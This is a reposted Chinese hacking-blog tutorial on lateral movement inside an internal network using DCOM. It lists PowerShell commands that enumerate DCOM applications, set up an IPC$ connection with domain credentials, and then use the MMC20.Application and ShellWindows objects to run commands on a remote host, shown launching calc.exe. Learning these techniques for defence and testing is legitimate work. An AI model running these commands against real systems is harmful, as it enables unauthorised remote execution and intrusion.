记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

使用dcom在内网中进行横向移动

2021-03-17 11:58

文章为之前学习记录,如有错误,请指正,谢谢。

Dcom是微软的一系列概念和程序接口,通过dcom,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发起请求,今天讲讲如何通过dcom进行横向移动。

首先调用powershell

通过使用指令Get-CimInstance Win32_DCOMApplication来查看获取本地DCOM程序列表

1615905214_6050c1bee9514402ea684.png!small

由于Get-CimInstance这个cmdlet只存在于powershell的3.0版本中,所以执行该指令需要2020以上版本的操作系统才可以执行,当然,如果没有3.0版本也可以通过执行Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication来获取,两者效果是相同的。

1615905263_6050c1ef8329daef0ddec.png!small

1. 使用DCOM执行任意命令,适用于本地

1> $com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.101.102"))

2> $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","minimized")

通过执行以上命令,会以当前会话执行Administrator权限的calc.exe

2. 在远程主机中执行命令

首先通过net use \\IP "password" /user:域\dm 建立ipc$连接

然后执行以下命令:

$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","目标IP"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")

即可在远程计算机中执行calc.exe

3. 第二种方法

在远程主机中调用powershell,输入命令:

$com=[Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.101.102")

$obj = [System.Activator]::CreateInstance($com)

$item = $obj.item()

$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

执行calc.exe程序
图片


知识来源: https://www.freebuf.com/articles/system/266394.html

阅读:80384 | 评论:0 | 标签:移动

想收藏或者和大家分享这篇好文章→复制链接地址

“使用dcom在内网中进行横向移动”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持·广告位💖

标签云